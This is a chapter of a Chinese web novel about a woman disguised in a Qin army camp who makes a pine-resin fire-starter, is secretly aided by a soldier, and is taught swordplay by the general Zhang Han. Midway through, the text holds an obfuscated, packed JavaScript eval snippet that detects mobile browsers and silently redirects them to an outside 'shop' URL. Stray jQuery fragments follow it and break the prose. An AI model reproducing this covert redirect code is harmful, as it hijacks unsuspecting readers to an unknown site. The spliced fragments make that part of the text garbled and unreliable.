默认冷灰
24号文字
方正启体

33. 谁的剑更厉害

作者:剑上明月本书字数:K更新时间:
    在营中静养的这两日,我除了每日前往莫大夫处换药疗伤,其余时间几乎都窝在自己的军帐中,专心研制火折子。


    现代网络上流传着不少“古法火折子”的制作教学,既有简陋易成的版本,也有需用硫磺、硝石等材料的精细制法。然秦朝当下,这些原料无疑难以获取,也不合时宜。于是我退而求其次,打算照着简易版本动手试试。


    简陋版的火折子,其原理不过是打造一个适合做火种容器的便携竹筒,收集些干草、芦苇和松脂——将松脂加热融化,滴在捻好的甘草绳上,使其成为火芯,再将涂满松脂的火芯卷成卷,塞入竹筒内封好保存。待用时,只需取出,轻轻一吹,便可复燃成火。


    当然,我并未将真正的用意告知莫大夫——一则,这种保存火种的方式,在秦军眼中或许是“异术”,过于出格;二则,我也需为自己留下一些底牌,以备不时之需。


    于是,我只草拟了一份所需材料的竹简,请莫大夫代为搜罗。


    “仪风姑娘,你需要这些做什么?”莫大夫捧着我草拟的竹简,眉头微蹙,语气中透着几分疑惑。


    我笑着答道:“自是有我的用处。干草和芦苇在营地附近不难找,就是这松脂,我一时分辨不出,还望大夫指点一二。”


    莫大夫捋了捋白花花的胡子,沉吟片刻,道:“这倒不必担心。我这儿正好还存着一些松脂。此物在军中亦属常用药材,具止血止痛之效。”


    我一听,喜出望外:“那可真是再好不过。多谢莫大夫!”


    不多时,莫大夫便从内室取来一个小木盒,轻轻打开,只见里头躺着几块色如浅琥珀的透明松脂,在阳光下微微泛着光泽。我不禁眼前一亮,神色间流露出几分惊叹。


    莫大夫瞧出了我的神情,微笑道:“这些松脂,是从营地西南的苍崖林中采来的。林中松树繁多,松脂乃树木受伤后分泌出的树胶,凝固后便成这般模样。若你日后需要,只需用小刀刮取树干表面的凝脂便可。”


    我接过木盒,朝莫大夫深深一揖,道了声谢,便如捧着宝贝一般匆匆离开军医所,快步回到自己的军帐。


    火折子的制作并非一蹴而就。光是将那混合了松脂的干草卷顺利点燃,我便前后跑去营火处试了好几次。不是点不着,就是火势太猛,刹那之间便将火芯烧得精光,火星四溅之时,甚至险些将我的帐篷点着。


    我只得一遍遍调整火芯的配比与形状,不厌其烦地试验,直到第二日深夜,我悄悄钻进灶房,蹲在柴垛旁,终于成功点燃了第一根火折子。


    那是一束小小的火光,在灶火映照下安静燃着,却让我激动得久久不能言语。为这束微光,我耗费了数日的心思与心血。它既可应急取火,也许未来还可救命——光是想象,就已足够令人欣慰。


    可即便在这片刻喜悦中,我的警惕心也未曾松懈。


    军中的炉火从不熄灭,每日需烹煮军食,生火本就费时费力,因此灶房常有秦军驻守。我进来时便瞧见那看守的士卒靠着柱子打盹,才趁机溜了进来。现下要离开,恰巧那人已陷入熟睡,头歪在肩膀上,鼾声微微,我只得屏息凝神,像进来时那样,蹑手蹑脚地悄悄退出了灶房。


    暗夜沉沉,我将火折子藏入衣襟,又披上那件黑色披风,低着头疾步而行。夜风穿林而过,寂静得仿佛连脚步声都能扰醒月色。忽然,我脚步一顿——眼前赫然是一双长筒黑靴,拦住了去路。


    我心头一紧,几乎要跃出胸膛,顺着靴筒缓缓抬眼,是一双熟悉的眉眼,细长而清隽,月光下浮着一丝柔光。


    “陈风?”我低声惊呼,“你怎么在这里?”


    他四下望了望,神色戒备,旋即伸手拉住我,带我快步移至一侧灌木后的隐蔽处,似是才松了口气,道:“还好你没被发现。”


    我下意识挣脱了他的手臂,眼神警觉,“你在说什么?你……你怎么会知道我今夜的行踪?”


    陈风看着我,神情不似作伪,语气温和:“我只是偶然瞥见你进了灶房,担心你被人撞见,所以用了迷药让那看守的士卒睡下。”


    我怔了怔,语气低下,“你……为什么要帮我?”


    他顿了片刻,眼神像是透着某种情绪:“其实那日你在餐棚时,我就在附近。我看见你被他们欺负,心里……实在觉得不公。仪风姑娘……”


    “你叫我什么?”我立刻截住他的话。


    陈风神色坦然:“仪风姑娘。我虽入军不久,但那日听得清楚,你是楚国女子,男扮女装潜入秦军。”


    我狐疑地望着他,“那你那天跑步时,为什么还叫我‘仪风小兄弟’?”


    他挠了挠后脑,神情竟有几分难为情,“那日人多,我怕你身份尚未公开,贸然称呼你为姑娘不妥。况且……你既然日日以男装示人,我想你定有不得已的缘由。”


    他垂眸,声音也压低了些:“我不是有意窥探,只是……只是想让你知道,不是所有秦军都将你看作楚国细作。”


    我心头微动,只觉他与军中其他秦兵迥然不同,并非那般叫人时时警惕提防。


    陈风略显迟疑,仍是低声道:“那日,我见他们不给你饭食,便知你在军中境况不易。今夜见你独自潜入灶房,想着你或是饿极了,才会铤而走险。于是暗中用些迷药迷晕了守卫,只愿姑娘不被察觉,还请姑娘莫怪。”


    我一怔,还未来得及出声,他又缓缓道:“不过我有些不解——按理说,这两日我都偷偷在你帐外放了一些粗粮干饼,姑娘……都未曾吃下吗?”


    我瞳孔骤然一缩,怔怔望向他,难掩震惊:“是你?那几次送来的食物……竟是你?”心中一时间百感交集。


    那两日,我的心思几乎全被火折子牵住,废寝忘食,早将口腹之欲抛诸脑后。可也确有那么两三次,当我深夜出帐去试火种时,发现门口摆着一个小食碗,里头是些粗粮与干饼。


    我原以为,在这军中,唯一能顾及我者,除了莫大夫,也就只剩章邯,谁知……竟是陈风。


    我望着眼前这张带着几分青涩却清朗真诚的脸,心下顿生几许意外之好感。


    陈风挠了挠头,几分羞涩地道:“大家都是战友,也算是过命的交情,想着能帮就多帮衬些。对我来说,也不算什么难事。”


    我不由爽朗地拍了拍他的肩膀,“陈大哥,你这个朋友,我仪风交定了!真是多亏了你,才没让我饿死在这秦军营中。”


    夜色下,陈风腼腆一笑,月光柔柔地洒在他眼里,映出一片温和,使人轻易便愿意相信他本就不是个冷硬之人。


    他抬头望了眼夜空,又劝道:“时候不早了,仪风姑娘还是快些回去,免得被人撞见。”


    被他这一提醒,我才意识到如今应是子时,若再耽搁到丑时鸡鸣,恐怕便会惊动旁人。


    我朝他抱拳一礼,道:“那我就先告辞了。今夜多谢陈大哥,改日得空,定请你喝酒,以作答谢。”


    陈风笑着点了点头,也抱拳还礼。随后,我们各自转身,在夜幕中渐行渐远。


    两日后,我如约回到练兵场。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537428|203055||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    秦军众人对我依旧冷眼以待,神情中满是不屑与厌意,少有人肯与我多言片语。但我也并未放在心上,只默默地跟在队伍最后,开始每日例行的十里负重长跑。虽仍旧落在队尾,却也比上回轻松许多,脚下不再那般踉跄,呼吸渐趋平稳。身体开始适应,心也渐渐沉了下来。


    秦军将士在苏角与王离的指挥下开始操练兵阵,而我则被吴梗带去见章邯。


    军帐内,章邯正低头专注地盯着眼前的沙盘推演,神情冷峻。听见脚步声,他才抬眼望来。


    “伤可好些了?”他的声音听不出多少情绪,唯有一身黑衣铠甲,将他衬得愈发英武俊朗。


    我下意识低头回道:“好多了。”


    章邯嘴角微不可察地扬起一抹笑意,转身取过一把剑,随手朝我扔来,冷声道:“今日练剑,免得下回比试,又把自己弄得一身狼狈。”


    我稳稳接住那把飞来的铜剑,打量几眼,是军中常用之制,沉而有力。


    “你要亲自教我?”我眨了眨眼,语气里掺了些期待。


    章邯似是翻了个白眼,随手抓起搁在案边的长剑,快步掀帘而出,冷冷丢下一句:“还不快跟上。”


    我撇了撇嘴,低声嘀咕:“成日凶巴巴的……”虽嘴上抱怨,脚步却没慢下,赶紧小跑着跟了上去。


    章邯领我来到营地附近一处空旷的平原。绿草如茵,风过无声,天地间仿佛只剩下我们二人。他转过身来,目光肃然地望着我,道:“把你会的剑术,全都使一遍。”


    “剑术?”


    “别告诉我你不会。”他目光如炬,“那日我在不远处看你与苏角交手,一眼就看出你学过剑。虽还不够纯熟,但底子不错。若你那日面对的是些寻常流寇而非苏角,保命应不在话下,甚至……还有赢的可能。”


    听他这番话,我忽地想起韩信临行前说的那句:“若你肯勤加练习,日后定能有自保之力。”原来,他并非空言。


    我没有多说,只是静静拔剑出鞘。脑海中浮现出那日木芙蓉盛开的庭前,韩信握着我手腕,一式一招,带我走过这套剑法的画面。他身影轻盈、眼神专注,一指一引都让人印象深刻。每次练剑,我都能清晰回忆起他的动作,今日亦是如此。


    剑起剑落,收势如风。最后一式落下,我平静地抬头看向章邯。


    他仍神情冷然,沉声问道:“这剑术,是谁教你的?”


    “说了你也不认识。”我低声嘀咕。


    他眯起眼,逼近几步,“让我猜猜……是你在楚营的那位故人?”


    我心口一紧,连连后退。


    “韩信?”他声音低沉,似早已心中有数。


    “是的。”我点头。


    他眼里划过一抹不明的意味,“看来,他的剑术确实不错。”


    他又逼近一步,身形高大,俯身贴近我时,竟有一股无形的压迫。我本能地继续后退,轻声道:“自然是。”


    章邯忽然伸手,拽住我持剑的手,力道极重,将我猛然扯入怀中。我猝不及防,整个人贴入他怀里,不得不仰头直视他。他眼神幽深,仿佛藏着波澜。


    “那你觉得——”他声音低哑,在我耳畔低语,“本将军的剑,和他的剑,谁更厉害些?”


    我嘴角微微抽动了一下,心念电转,想到历史上章邯终究战败于韩信之手,不由避开他目光,“都厉害……”


    他眼神微沉,手上力道又重了几分,紧紧将我扣在怀中,声音冰冷带笑:“那现在,就让你亲自领教一下本将军的剑法。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)